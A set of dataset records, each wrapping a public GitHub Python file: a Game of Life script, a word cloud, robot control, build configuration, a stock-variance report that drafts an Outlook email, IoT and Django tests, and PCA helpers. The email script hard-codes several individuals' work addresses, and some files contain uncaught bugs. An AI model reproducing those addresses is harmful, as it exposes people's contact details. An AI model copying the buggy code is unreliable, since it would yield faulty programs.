planePrimary.write(\"\\n\")\n\n for x in range(0, width):\n planePrimary.write(\".\")\n\n planePrimary.close()\n\nos.system(\"clear\")\n\ninput(\"Change the primary cell configuration in 'plane'. '@' -> Living cell. '.' -> Dead cell. Press Enter...\")\n\nos.system(\"clear\")\n\nwith open(\"./plane\", \"r\") as planefile:\n planePrimary = planefile.read().split(\"\\n\")\n\nfor i in range(0, len(planePrimary)):\n if len(planePrimary[i]) != width:\n break\n\nif i != height - 1:\n print(\"Wrong cell configuration!\")\n sys.exit(0)\n\nplane = [['.' for x in range(width)] for y in range(height)] \n\nfor y in range(0, height):\n for x in range(0, width):\n if planePrimary[y][x] == '.':\n plane[y][x] = deadChar\n else:\n plane[y][x] = aliveChar\n\n#PRIMARY CONFIG\nprintPlane(plane)\ninput()\n\nos.system(\"clear\")\n\nrun = 0\n\n#BEHAVIOUR\nwhile True:\n newplane = deepcopy(plane)\n\n for y in range(0, height):\n for x in range(0, width):\n alive = alive_dead(x, y)\n\n #RULES\n if (alive == False) and (moore(x, y) == 3):\n newplane[y][x] = aliveChar\n\n elif (alive == True) and ((moore(x, y) == 1) or (moore(x, y) > 3)):\n newplane[y][x] = deadChar\n\n elif (alive == True) and (moore(x, y) == 0):\n newplane[y][x] = deadChar\n\n else:\n newplane[y][x] = plane[y][x]\n \n plane = deepcopy(newplane)\n \n os.system(\"clear\")\n printPlane(plane)\n\n print()\n print(run)\n\n if slp != 0:\n sleep(slp)\n else:\n input()\n\n run += 1","repo_name":"adampisula/game_of_life","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":2661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17489939484","text":"import jieba\nimport jieba.posseg as pseg\nimport wordcloud\nimport tkinter\nfrom PIL import Image,ImageTk\nstr=open('红楼梦.txt','rb').read()\nwlist=pseg.lcut(str)\nwtimes={}\ncstr=[];sw=[]\nfor a in wlist:\n if a.flag=='nr':\n wtimes[a.word]=wtimes.get(a.word,0)+1\n cstr.append(a.word)\n else:sw.append(a.word)\nwlist=list(wtimes.keys())\nwlist.sort(key=lambda x:wtimes[x],reverse=True)\nfor a in wlist[:10]:\n print(a,wtimes[a],sep='\\t')\ntext=' '.join(cstr)\ncloud=wordcloud.WordCloud(font_path='simsun.ttc',background_color='white',\n stopwords=sw,collocations=False,width=640,height=480).generate(text)\nfile=cloud.to_file('herocloud.png')\nroot=tkinter.Tk()\nimg=Image.open('herocloud.png')\npic=ImageTk.PhotoImage(img)\nimgLabel=tkinter.Label(root,image=pic)\nimgLabel.pack()\nroot.mainloop()\n\n","repo_name":"CSUBioinformatics1801/Python_Bioinformatics_ZYZ","sub_path":"Exp7/wordcloud_new.py","file_name":"wordcloud_new.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31219352470","text":"import vrep\nimport sys\nfrom time import sleep\nfrom pynput.keyboard import Key, Listener\nimport numpy as np\nimport cv2\nimport pickle\n\nheading = 0\nvelocity = 0\n\ndef bound(val):\n upperBound = 1\n lowerBound = -1\n if val >= upperBound:\n val = upperBound\n elif val <= lowerBound:\n val = lowerBound\n return val\n\ndef on_press(key):\n global velocity, heading, handles\n if key == Key.up: # Forward motion\n velocity += 0.1\n elif key == Key.down: # Backward motion\n velocity -= 0.1\n elif key == Key.left: # Backward motion\n heading += 0.08\n elif key == Key.right: # Backward motion\n heading -= 0.08\n elif key == Key.space:\n velocity = 0\n heading = 0\n heading = bound(heading)\n velocity = bound(velocity)\n print(\"Heading= \", heading, \" - Velocity= \", velocity)\n set_motion(heading, velocity, handles)\n\ndef on_release(key):\n pass\n\ndef set_motion(left, right, handles):\n global clientID\n\n left = -10*(velocity - heading)\n right = -10*(velocity + heading)\n \n vrep.simxSetJointTargetVelocity(clientID, handles[0], left, vrep.simx_opmode_streaming)\n vrep.simxSetJointTargetVelocity(clientID, handles[1], left, vrep.simx_opmode_streaming)\n vrep.simxSetJointTargetVelocity(clientID, handles[2], right, vrep.simx_opmode_streaming)\n vrep.simxSetJointTargetVelocity(clientID, handles[3], right, vrep.simx_opmode_streaming)\n\n###\n\nprint ('Program started')\nvrep.simxFinish(-1) # just in case, close all opened connections\nclientID=vrep.simxStart('127.0.0.1',19999,True,True,5000,5) # Connect to V-REP\nif clientID!=-1:\n print ('Connected to remote API server')\nelse:\n print(\"Connection cannot be established. Exiting\")\n sys.exit('Could not connect')\n\n## Initiate handles\n# Motor\nerrCode, FL_handle = vrep.simxGetObjectHandle(clientID, \"FL\", vrep.simx_opmode_blocking)\nerrCode, RL_handle = vrep.simxGetObjectHandle(clientID, \"RL\", vrep.simx_opmode_blocking)\nerrCode, FR_handle = vrep.simxGetObjectHandle(clientID, \"FR\", vrep.simx_opmode_blocking)\nerrCode, RR_handle = vrep.simxGetObjectHandle(clientID, \"RR\", vrep.simx_opmode_blocking)\nhandles = [FL_handle, RL_handle, FR_handle, RR_handle]\n\n# Front cam\nerrCode, cam = vrep.simxGetObjectHandle(clientID, \"front_cam\", vrep.simx_opmode_blocking)\nprint(errCode)\n\nerr, resolution, image = vrep.simxGetVisionSensorImage(clientID, cam, 0, vrep.simx_opmode_streaming)\nprint(err)\n\nwith Listener(on_press=on_press, on_release=on_release) as listener:\n listener.join()\n\n#listener = Listener(on_press=on_press, on_release=on_release)\n#listener.start()\n\ndata_combined = []\ni = 0\nfour_floats = []\nwhile True:\n # err, resolution, image = vrep.simxGetVisionSensorImage(clientID, cam, 0, vrep.simx_opmode_streaming)\n # print(err, resolution)\n # sleep(0.5)\n # if image:\n # image = np.array(image,dtype=np.uint8)\n # image.resize([resolution[1],resolution[0],3])\n # cv2.imwrite('savedim.png', cv2.flip(image, 0))\n\n # Lidar data\n # err, ints, floats, strings, outBuffer = vrep.simxCallScriptFunction(clientID, \"velodyneVPL_16\", 1, \"getVelodyneData_function\", [], [], [], bytearray(), vrep.simx_opmode_blocking)\n \n #print(len(floats))\n #if len(floats) == 48000:\n # four_floats.append(floats)\n # i += 1\n\n #if i == 4: #change it to 4 for 360\n\n # print(\"writing\")\n # with open('pointcloud.txt', 'w') as write_file:\n # for group in four_floats:\n # for x in group:\n # write_file.write(str(x) + \"\\n\")\n # print(\"done writing\")\n # break\n pass\n\n\n\nlistener.stop()\nprint(\"Stopped listening. Closing\")\n","repo_name":"h-utkuunlu/ugv_vrep","sub_path":"ugv_main.py","file_name":"ugv_main.py","file_ext":"py","file_size_in_byte":3665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9551932332","text":"import os, sys\nfrom os.path import join\n\n##### define functions\ndef uniqueCheckLib(conf, lib):\n \"\"\" Checks for a library and appends it to env if not already appended. \"\"\"\n if conf.CheckLib(lib, autoadd=0, language=\"C++\"):\n conf.env.AppendUnique(LIBS = [lib])\n return True\n else:\n print(\"ERROR: Library '\" + lib + \"' not found!\")\n Exit(1)\n#######\n\n# add possibility to add a debug visu\nvars = Variables('custom.py')\nvars.Add (BoolVariable('visu', 'Set to 1 for enabling debug visu', 0))\nvars.Add (BoolVariable('vtk', 'Set to 1 for enabling VTK', 0))\nvars.Add (BoolVariable('opt_dt', 'Set to 1 for enabling optimized dt value instead of the provided by param file, but wihout secured stability', 0))\nvars.Add (BoolVariable('opt_omega', 'Set to 1 for enabling optimized omega value instead of the provided by param file, but wihout secured stability', 0))\n\nenv = Environment(variables=vars, ENV = os.environ)\nconf = Configure(env)\n\n# ====== precice ======\n\npreciceRoot = os.getenv ('PRECICE_ROOT')\n\nif preciceRoot:\n print(\"PRECICE_ROOT defined, preCICE was probably build from source\")\n print('Using environment variable PRECICE_ROOT = ' + preciceRoot)\n env.Append(CPPPATH = [os.path.join(preciceRoot, 'src')])\n env.Append(LIBPATH = [os.path.join(preciceRoot, 'build/last')])\n env.Append(CPPDEFINES = ['PRECICE_USE_MPI'])\n uniqueCheckLib(conf, \"precice\")\nelse:\n print(\"PRECICE_ROOT not defined. Using pkg_config to find libprecice.\")\n try:\n uniqueCheckLib(conf, \"precice\")\n except Exception():\n print(\"Did you forget to define PRECICE_ROOT?\")\n Exit(-1)\n\n\n\n# do debug build?\ndebug = ARGUMENTS.get('debug', 1)\n\n# set the compiler.\n# For using clang in parallel you have to set all flags by hand or define a\n# macro similar to mpic++\n\n# parallel\nenv.Replace(CXX='mpic++')\n\n# serial\n# env.Replace(CXX='g++')\n\n# define some general compiler flags\nenv.Append(\n CXXFLAGS=[\n \"-Wall\",\n \"-Wextra\",\n \"-pedantic\",\n \"-std=c++11\",\n ],\n LIBS=[\n \"mpi\",\n \"SDL2\",\n ]\n)\n\n# add flags for debug and release build\nif debug == 0:\n env['CXXFLAGS'] += [\"-O3\"]\nelse:\n env['CXXFLAGS'] += [\n \"-g3\",\n \"-O0\",\n ]\n\n# call SConscript to actually build the project after setting up the environment\n#env.SConscript(\"./SConscript\", exports='env', variant_dir='./build', duplicate=0)\nenv.SConscript(\"./FluidSolver/SConscript\", exports='env', variant_dir='./FluidSolver/build', duplicate=0)\nenv.SConscript(\"./Magrathea/SConscript\", exports='env', variant_dir='./build/Magrathea', duplicate=0)\n","repo_name":"totzstangolo/numsim-4","sub_path":"SConstruct","file_name":"SConstruct","file_ext":"","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16074582462","text":"from datetime import date\nfrom gettext import npgettext\nfrom operator import index\nfrom platform import win32_edition\nimport numpy\nimport pandas as pd\nimport numpy as np\nimport glob\nfrom csv import writer\nfrom datetime import datetime\nimport smtplib\nimport win32com.client as win32\n\n#---------------------------PROGRAMMMMMME-------------------------------------\n\n# ----IMPORTING AND SORTING-------------------\nvar_report = \"C:\\\\Users\\\\user\\\\Documents\\\\Stock take Variances\\\\StockTakeVarianceDetail.csv\"\ndf1 = pd.read_csv(var_report)\ndf1['StockTakeDate'] = pd.to_datetime(df1['StockTakeDate'])\ndf = df1[df1['StockTakeStatus'] == 'Approved']\ndf_colNames = pd.DataFrame(columns= df1.columns)\ndf1['IMEI/Serial No'] = df1['IMEI/Serial No'].astype(str)\ndf = df1.groupby('Store')\ndt_string = datetime.strftime(datetime.now(),'%Y-%m-%d')\nTday =pd.to_datetime('today',format='%Y-%m-%d').normalize()\nToday_ = str(Tday)\nTday_data = datetime.strftime(df1.at[0,'StockTakeDate'],'%Y-%m-%d')\nprint(df1['IMEI/Serial No'])\n\n# ---VARIABLES -----\n\nNSC = 'SABC0844 MTN Store - Nicolway Shopping CentreL47 - Bryanston'\nHVM = 'SABC1367 MTN Store - Highveld Mall Shop 222'\nCGM = 'SABC1726 MTN Store - Castle Gate Retail Centre 35 - Pretoria' \nMM = 'SABC0471 MTN Store - Middleburg Mall 11 - Middleburg'\nSM = 'SABC0958 MTN Store - Secunda Mall LG28 - Secunda'\nGSM = 'SABC2299 MTN Store - Greenstone Shopping Centre L073 - Edenvale'\nPM = 'SABC2300 MTN Lite - Phola Mall 62A - KwaMhlanga'\nKM = 'SABC2301 MTN Lite - Kwagga Mall 100 - Kwaggafontein'\nHM = 'SABC2302 MTN Store - Highland Mews 24A - Witbank'\nJM = 'SABC0870 MTN Store - Jubilee Mall 16 - Hammanskraal West'\n\n#-----------------------------DATA FRAMES---------------------------------------------\n\n#NICOLWAY MALL\nif NSC in df1['Store'].values:\n df_NSC = df.get_group(NSC)\n Over_item = df_NSC.loc[df_NSC['VarianceType']=='OVER']\n Under_item = df_NSC.loc[df_NSC['VarianceType']=='UNDER'] \n totalRisk_NSC = Under_item['Total Cost Price for the Variance OMS/Actual'].sum()\n totalUnderItems_NSC = Under_item['OMS2/Actual Variance Qty'].sum()\n T_O_NSC = Over_item['OMS2/Actual Variance Qty'].sum()\n \nelse:\n \n df_NSC = df_colNames\n totalRisk_NSC = 0\n T_O_NSC:0\n \n \n#HIGHVELD MALL \nif HVM in df1['Store'].values:\n df_HVM = df.get_group(HVM)\n Over_item_hvm = df_HVM.loc[df_HVM['VarianceType']=='OVER']\n Under_item_hvm = df_HVM.loc[df_HVM['VarianceType']=='UNDER']\n totalUnderItems_Hvm = Under_item_hvm['OMS2/Actual Variance Qty'].sum()\n totalRisk_Hvm = df_HVM['Total Cost Price for the Variance OMS/Actual'].sum()\n T_O_HVM = Over_item_hvm['OMS2/Actual Variance Qty'].sum()\nelse:\n df_HVM = df_colNames\n \n totalRisk_Hvm =0\n totalUnderItems_Hvm = 0\n T_O_HVM = 0\n \n \n#GREEN STONE MALL\n \nif GSM in df1['Store'].values:\n df_GSM = df.get_group(GSM)\n Over_item_GSM = df_GSM.loc[df_GSM['VarianceType']=='OVER']\n Under_item_GSM = df_GSM.loc[df_GSM['VarianceType']=='UNDER']\n totalUnderItems_GSM = Under_item_GSM['OMS2/Actual Variance Qty'].sum()\n totalRisk_GSM = df_GSM['Total Cost Price for the Variance OMS/Actual'].sum()\n T_O_GSM = Over_item_GSM['OMS2/Actual Variance Qty'].sum()\n \nelse:\n df_GSM = df_colNames\n T_O_GSM = 0 \n totalUnderItems_GSM =0 \n totalRisk_GSM =0\n \n \n#MIDDELBURG MALL\n \nif MM in df1['Store'].values:\n df_MM = df.get_group(MM)\n Over_item_MM = df_MM.loc[df_MM['VarianceType']=='OVER']\n Under_item_MM = df_MM.loc[df_MM['VarianceType']=='UNDER']\n totalUnderItems_MM = Under_item_MM['OMS2/Actual Variance Qty'].sum()\n T_O_MM = Over_item_MM['OMS2/Actual Variance Qty'].sum()\n totalRisk_MM = df_MM['Total Cost Price for the Variance OMS/Actual'].sum()\n \nelse:\n df_MM = df_colNames\n totalRisk_MM =0\n T_O_MM =0\n totalUnderItems_MM =0\n \n \n#SECUNDA MALL \n \nif SM in df1['Store'].values:\n df_SM = df.get_group(SM)\n Over_item_SM = df_SM.loc[df_SM['VarianceType']=='OVER']\n Under_item_SM = df_SM.loc[df_SM['VarianceType']=='UNDER']\n totalUnderItems_SM = Under_item_SM['OMS2/Actual Variance Qty'].sum()\n T_O_SM = Over_item_SM['OMS2/Actual Variance Qty'].sum()\n totalRisk_SM = df_SM['Total Cost Price for the Variance OMS/Actual'].sum()\n \nelse:\n df_SM = df_colNames\n totalRisk_SM =0\n T_O_SM =0\n totalUnderItems_SM =0\n \n \n \n# Castle Gate MALL\n\nif CGM in df1['Store'].values:\n df_CGM = df.get_group(CGM)\n Over_item_CGM = df_CGM.loc[df_CGM['VarianceType']=='OVER']\n Under_item_CGM = df_CGM.loc[df_CGM['VarianceType']=='UNDER']\n totalUnderItems_CGM = Under_item_CGM['OMS2/Actual Variance Qty'].sum()\n T_O_CGM = Over_item_CGM['OMS2/Actual Variance Qty'].sum()\n totalRisk_CGM = df_CGM['Total Cost Price for the Variance OMS/Actual'].sum()\n \nelse:\n df_CGM = df_colNames\n totalRisk_CGM =0\n totalUnderItems_CGM= 0\n T_O_CGM = 0\n \n \n#Phola MAll \n \nif PM in df1['Store'].values:\n df_PM = df.get_group(PM)\n Over_item_PM = df_PM.loc[df_PM['VarianceType']=='OVER']\n Under_item_PM = df_PM.loc[df_PM['VarianceType']=='UNDER']\n totalUnderItems_PM = Under_item_PM['OMS2/Actual Variance Qty'].sum()\n T_O_PM = Over_item_PM['OMS2/Actual Variance Qty'].sum()\n totalRisk_PM = df_PM['Total Cost Price for the Variance OMS/Actual'].sum() \n \nelse:\n df_PM = df_colNames\n totalUnderItems_PM= 0\n T_O_PM = 0\n totalItems_PM = 0\n \n\n#Kwagga Mall\n\nif KM in df1['Store'].values:\n df_KM = df.get_group(KM)\n Over_item_KM = df_KM.loc[df_KM['VarianceType']=='OVER']\n Under_item_KM = df_KM.loc[df_KM['VarianceType']=='UNDER']\n totalUnderItems_KM = Under_item_KM['OMS2/Actual Variance Qty'].sum()\n T_O_KM = Over_item_KM['OMS2/Actual Variance Qty'].sum()\n totalRisk_KM = df_KM['Total Cost Price for the Variance OMS/Actual'].sum()\n \nelse:\n df_KM =df_colNames\n totalRisk_KM = 0\n totalUnderItems_KM= 0\n T_O_KM = 0\n \n# HIGHLAND MEWS\n \nif HM in df1['Store'].values:\n df_HM = df.get_group(HM)\n Over_item_HM = df_HM.loc[df_HM['VarianceType']=='OVER']\n Under_item_HM = df_HM.loc[df_HM['VarianceType']=='UNDER']\n totalUnderItems_HM = Under_item_HM['OMS2/Actual Variance Qty'].sum()\n T_O_HM = Over_item_HM['OMS2/Actual Variance Qty'].sum()\n totalRisk_HM = df_HM['Total Cost Price for the Variance OMS/Actual'].sum()\n \nelse:\n df_HM =df_colNames\n totalRisk_HM = 0\n totalUnderItems_HM= 0\n T_O_HM = 0\n \n# JUBILLIE MALL\n \nif JM in df1['Store'].values: \n df_JM = df.get_group(JM)\n Over_item_JM = df_JM.loc[df_JM['VarianceType']=='OVER']\n Under_item_JM = df_JM.loc[df_JM['VarianceType']=='UNDER']\n totalUnderItems_JM = Under_item_JM['OMS2/Actual Variance Qty'].sum()\n T_O_JM = Over_item_JM['OMS2/Actual Variance Qty'].sum() \n totalRisk_JM = df_JM['Total Cost Price for the Variance OMS/Actual'].sum() \nelse:\n df_JM =df_colNames\n totalRisk_JM = 0\n totalUnderItems_JM= 0\n T_O_JM = 0\n \n \n \n#-------------------PRINT TO EXCELL-----------------------------------\n\n\nwith pd.ExcelWriter(\"C:\\\\Users\\\\user\\\\Documents\\\\Stock take Variances\\\\StockTakeVarianceDetail\" +Tday_data+'.xlsx',engine= 'xlsxwriter') as writer_1:\n \n#write the sheets with different groups\n\n df_NSC.to_excel(writer_1,index= False,sheet_name='NSC')\n df_HVM.to_excel(writer_1,index= False,sheet_name='HVM')\n df_CGM.to_excel(writer_1,index= False,sheet_name='CGM')\n df_MM.to_excel(writer_1,index= False,sheet_name='MM')\n df_SM.to_excel(writer_1,index= False,sheet_name='SM')\n df_GSM.to_excel(writer_1,index= False,sheet_name='GSM')\n df_PM.to_excel(writer_1,index= False,sheet_name='PM')\n df_KM.to_excel(writer_1,index= False,sheet_name='KM')\n df_HM.to_excel(writer_1,index= False,sheet_name='HM') \n df_JM.to_excel(writer_1,index= False,sheet_name='JM') \n\n#-----------------SAVE THE FILE-----------------------------\nwriter_1.save()\n\n#----- SEND EMAIL USING OUTLOOK-------------------------------------\n \nolApp = win32.Dispatch('Outlook.Application')\nolns = olApp.GetNameSpace('MAPI')\nAtta_ment = \"C:\\\\Users\\\\user\\\\Documents\\\\Stock take Variances\\\\StockTakeVarianceDetail\" +Tday_data+'.xlsx'\nmailItem = olApp.CreateItem(0)\nmailItem.Subject = 'Variance Report'+Tday_data \nmailItem.BodyFormat = 1\nmailItem.Body = 'Please see attached Your Variance report for '+Tday_data+ ' ,May you Please respond on All Variances Before 12PM today'\nmailItem.To = 'Stock Take 1'\nmailItem.CC = 'Thokozane.Ngwenya@mtn.com;vincent@onetouchmobility.co.za;blessing@onetouchmobility;Vincent.Nomtshongwane@mtn.com'\nmailItem._oleobj_.Invoke(*(64209, 0, 8, 0, olns.Accounts.Item('walter@onetouchmobility.co.za')))\nmailItem.Display()\nmailItem.Attachments.Add(Atta_ment)\nmailItem.BodyFormat = 2\nmailItem.HTMLBody = \"\"\"\n \n \n
\n \n

\n Good Morning Team \n

\n Please see attached Your Variance report for \"\"\" +Tday_data +\"\"\" \n May you Please respond on All Variances Before 12PM today \n \n
\n

\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
Store Under Items Over Items Total Risk
HVM\"\"\"+str(totalUnderItems_Hvm)+\"\"\"\"\"\"+str(T_O_HVM) +\"\"\"\"\"\"+str(totalRisk_Hvm.round(2)) +\"\"\"
NSC\"\"\"+str(totalUnderItems_NSC)+\"\"\"\"\"\"+str(T_O_NSC) +\"\"\"\"\"\"+str(totalRisk_NSC.round(2)) +\"\"\"
GSM\"\"\"+str(totalUnderItems_GSM)+\"\"\"\"\"\"+str(T_O_GSM) +\"\"\"\"\"\"+str(totalRisk_GSM.round(2)) +\"\"\"
MM\"\"\"+str(totalUnderItems_MM)+\"\"\"\"\"\"+str(T_O_MM) +\"\"\"\"\"\"+str(totalRisk_MM.round(2)) +\"\"\"
SM\"\"\"+str(totalUnderItems_SM)+\"\"\"\"\"\"+str(T_O_SM) +\"\"\"\"\"\"+str(totalRisk_SM.round(2)) +\"\"\"
PM\"\"\"+str(totalUnderItems_PM)+\"\"\"\"\"\"+str(T_O_PM) +\"\"\"\"\"\"+str(totalRisk_PM.round(2)) +\"\"\"
KM\"\"\"+str(totalUnderItems_KM)+\"\"\"\"\"\"+str(T_O_KM) +\"\"\"\"\"\"+str(totalRisk_KM.round(2)) +\"\"\"
JM\"\"\"+str(totalUnderItems_JM)+\"\"\"\"\"\"+str(T_O_JM) +\"\"\"\"\"\"+str(totalRisk_JM.round(2)) +\"\"\"
HM\"\"\"+str(totalUnderItems_HM)+\"\"\"\"\"\"+str(T_O_HM) +\"\"\"\"\"\"+str(totalRisk_HM.round(2)) +\"\"\"
CGM\"\"\"+str(totalUnderItems_CGM)+\"\"\"\"\"\"+str(T_O_CGM) +\"\"\"\"\"\"+str(totalRisk_CGM.round(2)) +\"\"\"
\n \n \n \n\"\"\"\n","repo_name":"Wylemu/Excell-Automation","sub_path":"variance.py","file_name":"variance.py","file_ext":"py","file_size_in_byte":13015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29035510947","text":"import alice.tests.library.auth as auth\nimport alice.tests.library.surface as surface\nimport pytest\n\nimport iot.configs.lamp_scene as config\nfrom iot.common import is_iot, assert_response_text\nfrom iot.common import no_config_skip # noqa: F401\nimport iot.nlg as nlg\n\n\n@pytest.mark.oauth(auth.Yandex)\n@pytest.mark.iot(config.lamp_scene)\n@pytest.mark.parametrize('surface', [surface.searchapp])\nclass TestLampModeCheck(object):\n\n owners = ('norchine', 'abc:alice_iot')\n\n @pytest.mark.parametrize('command', [\n 'Включи светильник в режиме свечи',\n 'Сделай на светильнике режим Вечеринки',\n 'Вруби режим Алиса на светильнике',\n 'Включи режим океана в спальне',\n 'Поставь светильник в режим чтения',\n 'Включи режим света океан',\n 'Включи режим тревоги',\n ])\n def test_turn_on(self, alice, command):\n response = alice(command)\n assert is_iot(response) is True\n assert_response_text(response.text, nlg.ok)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Voice Assistant tests/tests/integration_tests/iot/lamp_scene.py","file_name":"lamp_scene.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4164943707","text":"from django.test import TestCase\nfrom django.contrib.auth.models import User\nfrom django.core.urlresolvers import reverse\nfrom django.test import Client\nfrom rest_framework.test import APIRequestFactory\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase, APIClient\n\nfrom . import models\n\n\n# Create your tests here.\n\n# MODELS\n\nclass DogModelTests(TestCase):\n\n def test_dog_creation(self):\n dog = models.Dog.objects.create(\n name='pluto',\n image_filename='2.jpg',\n breed='labrador',\n age=23,\n gender='m',\n size='l'\n )\n self.assertTrue(isinstance(dog, models.Dog))\n\n\nclass UserPreferenceModelTests(TestCase):\n\n def setUp(self):\n self.user = User.objects.create(\n username='ygarcia',\n email='ygarcia@email.com'\n )\n\n def test_user_pref_creation(self):\n user_pref = models.UserPref.objects.create(\n user=self.user,\n age='b',\n gender='m',\n size='l'\n )\n self.assertTrue(isinstance(user_pref, models.UserPref))\n\n\nclass UserDogModelTests(TestCase):\n\n def setUp(self):\n self.user = User.objects.create(\n username='ygarcia2',\n email='ygarcia2@email.com'\n )\n self.dog = models.Dog.objects.create(\n name='pluto',\n image_filename='22.jpg',\n breed='labrador',\n age=23,\n gender='m',\n size='l'\n )\n\n def test_user_dog_creation(self):\n user_dog = models.UserDog.objects.create(\n user=self.user,\n dog=self.dog,\n status='l'\n )\n self.assertTrue(isinstance(user_dog, models.UserDog))\n\n\n# Views\nclass AccountTests(APITestCase):\n def test_create_account(self):\n \"\"\"\n Ensure we can create a new account object.\n \"\"\"\n url = reverse('register-user')\n data = {'username': 'ygarcia', 'password': 'testpsw'}\n response = self.client.post(url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(models.User.objects.count(), 1)\n self.assertEqual(models.User.objects.get().username, 'ygarcia')\n","repo_name":"yunielgarcia/pug-or-ugh_v1","sub_path":"backend/pugorugh/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37829847241","text":"from .imports import *\n\nclass GraphDB:\n def __init__(self, account_name_or_mastotron_obj, name='graphdb'):\n self.name = name\n from .mastotron import Mastotron\n \n if type(account_name_or_mastotron_obj) is Mastotron:\n self._tron = account_name_or_mastotron_obj\n elif type(account_name_or_mastotron_obj) is str:\n self._tron = Mastotron(account_name_or_mastotron_obj)\n else:\n raise Exception('Must provide either a string for an account name or a mastotron object.')\n\n from cog.torque import Graph\n self._g = Graph(self.name, cog_home=os.path.basename(self.path_g), cog_path_prefix=os.path.dirname(self.path_g))\n \n\n @property\n def path_g(self):\n return os.path.join(self._tron.path_acct, 'cog.graph')\n @property\n def path_db(self):\n return os.path.join(self._tron.path_acct, 'tinydb.json')\n\n @property\n def g(self): return self._g\n @property\n def db(self): return self._db\n # d = db\n\n def update(self, timeline_type='home', max_posts=100, hours_ago=24):\n for post in self._tron.iter_timeline(\n timeline_type=timeline_type,\n max_posts=max_posts,\n hours_ago=hours_ago):\n self.ingest_post(post, timeline_type=timeline_type)\n\n def ingest_post(self, post, force=False, **extra):\n # if force or not post.uri in self.d:\n print(f'>> ingesting: {post.uri}')\n Q = Query()\n self.db.upsert(\n {**post.data, **extra},\n Q.uri == post.uri\n )\n # self.d[post.author.uri] = post.author.data\n self.db.upsert(\n post.author.data,\n Q.uri == post.author.uri\n )\n self.g.put(post.author.uri,'posted',post.uri)","repo_name":"mastotron/mastotron","sub_path":"mastotron/graphdb.py","file_name":"graphdb.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":128,"dataset":"github-code","pt":"3"} +{"seq_id":"14653124666","text":"from __future__ import division\nfrom __future__ import print_function\nimport numpy as np\nimport scipy.io.wavfile\nimport matplotlib.pyplot as plt\nfrom scipy.fftpack import dct\nimport os\nimport scipy\nimport scipy.misc\nfrom pdb import set_trace as bp\nimport scipy\nimport scipy.io.wavfile\nimport os\nimport sys\nfrom sklearn import preprocessing\nfrom sklearn.mixture import GaussianMixture\nfrom scipy.stats import multivariate_normal\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport argparse\nimport glob\nimport numpy as np\nimport librosa\nimport math\nfrom scipy.stats import multivariate_normal as mvn\n#################################################################\n###############Function Box#####################################\n##################################################################\n\ndef tokenize_corpus(corpus):\n tokens = [x.split() for x in corpus]\n return tokens\n\ndef creat_vocab(token_corpus):\n vocabulary = []\n for sentence in token_corpus:\n for token in sentence:\n if token not in vocabulary:\n vocabulary.append(token)\n\n word2idx = {w: idx for (idx, w) in enumerate(vocabulary)}\n idx2word = {idx: w for (idx, w) in enumerate(vocabulary)}\n vocabulary_size = len(vocabulary)\n\n return vocabulary,vocabulary_size,word2idx,idx2word\n\n\ndef get_key(w):\n for word, index in word2idx.items():\n if w == word:\n return index\n\n\ndef for_tf_matrix(token_corpus,N,M):\n ###N=no fo words in dict\n ####M no of reviews\n tf_matrix = np.zeros((N, M))\n col=0 ####to make count of no of column we are going to access\n for sentence in token_corpus:\n for token in sentence:\n x=get_key(token)\n tf_matrix[x,col] += 1\n col += 1\n return tf_matrix\n\ndef doc_freq(tf_matrix):\n N ,M =np.shape(tf_matrix)\n doc_vec= np.count_nonzero(tf_matrix, axis=0)\n# print(doc_vec[0:5])\n# print(M)\n doc_vec = np.log(M*(1./doc_vec))\n# print(doc_vec[0:5])\n\n return doc_vec\n\ndef PCA_transform(X, k):\n ####Define the shape of matrix [eg*size of X]\n (n, m) = X.shape\n ####subtract the mean from the data\n A = X - np.mean(X, 0)\n #####two cases above one is con one and second one we will use\n if (n > m):\n Sigma = 1.0 / n * np.dot(np.transpose(A), A)\n U, s, V = np.linalg.svd(Sigma, full_matrices=True)\n U_reduced = U[:, : k]\n Z = np.transpose(U_reduced)\n return Z\n else:\n ###calculate the covariance matrix get matrx of [eg*eg]\n Sigma = 1.0 / n * np.dot(A, np.transpose(A))\n #####do svd\n U, s, V = np.linalg.svd(Sigma, full_matrices=True)\n ####from the 20*20 we get the approx eigenvector of 10k*10k something,\n ####since we are not doing svd here thats why data matrxi we will obtain from here its covariance matric will not give ous idenetity\n U_reduced = np.dot(np.transpose(A), U)\n # U_red=np.linalg(U_reduced)\n ####calcualte the best k outoff them\n U_red = U_reduced[:, : k]\n # print(np.shape(U_red))\n Z = np.transpose(U_red)\n return Z\n\ndef mul_norm(x, miu, cov):\n result = np.log(math.pow(np.linalg.det(cov), -0.5) / math.pow(2 * math.pi,128/2))\n temp = x-miu\n result += (-0.5 * np.sum(np.dot(temp, np.linalg.inv(cov))*temp,axis=1))\n return np.exp(result)\n\ndef stft(x, fs, framesz, hop):\n \"\"\"x is the time-domain signal\n fs is the sampling frequency\n framesz is the frame size, in seconds\n hop is the the time between the start of consecutive frames, in seconds\n 